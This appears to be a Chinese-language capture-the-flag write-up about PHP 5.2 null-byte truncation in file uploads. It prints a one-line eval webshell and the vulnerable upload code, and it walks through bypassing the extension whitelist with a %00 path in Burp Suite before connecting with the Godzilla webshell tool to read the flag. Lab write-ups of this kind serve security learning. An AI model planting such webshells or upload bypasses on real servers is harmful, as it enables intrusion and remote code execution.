题目描述

了解一下 PHP 5.2 00截断上传的原理。

Solution

我们编写一句话木马,命名为shell.php,上传到服务器,显示文件类型不匹配:

  1. <?php @eval($_POST['banana']);?>

1.png

去 Brupsuite 查看 HTTP 历史记录,可以发现这是 POST 方法上传图片的:

2.png

我们在页面按右键,选择 View Page Source,可以看到部分后端源码:

3.png

  1. if (!empty($_POST['submit'])) {
  2. $name = basename($_FILES['file']['name']);
  3. $info = pathinfo($name);
  4. $ext = $info['extension'];
  5. $whitelist = array("jpg", "png", "gif");
  6. if (in_array($ext, $whitelist)) {
  7. $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
  8. if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
  9. echo "<script>alert('上传成功')</script>";
  10. } else {
  11. echo "<script>alert('上传失败')</script>";
  12. }
  13. } else {
  14. echo "文件类型不匹配";
  15. }
  16. }

这里我们发现,后端是通过pathinfo()来获取路径,判断路径扩展名在不在白名单来进入分支。进入分支后,对文件名用随机数进行重命名。

我们来看知识点:

4.png

我们把一句话木马文件名修改成webshell.php.jpg,然后用 Burpsuite 拦截请求包,转发到 Repeater:

5.png

在 POST 上传路径那儿改成webshell.php%00,用以截断后缀.php.jpg后面的.jpg

我们用哥斯拉连接 WebShell,在/var/www/html找到 Flag :

6.png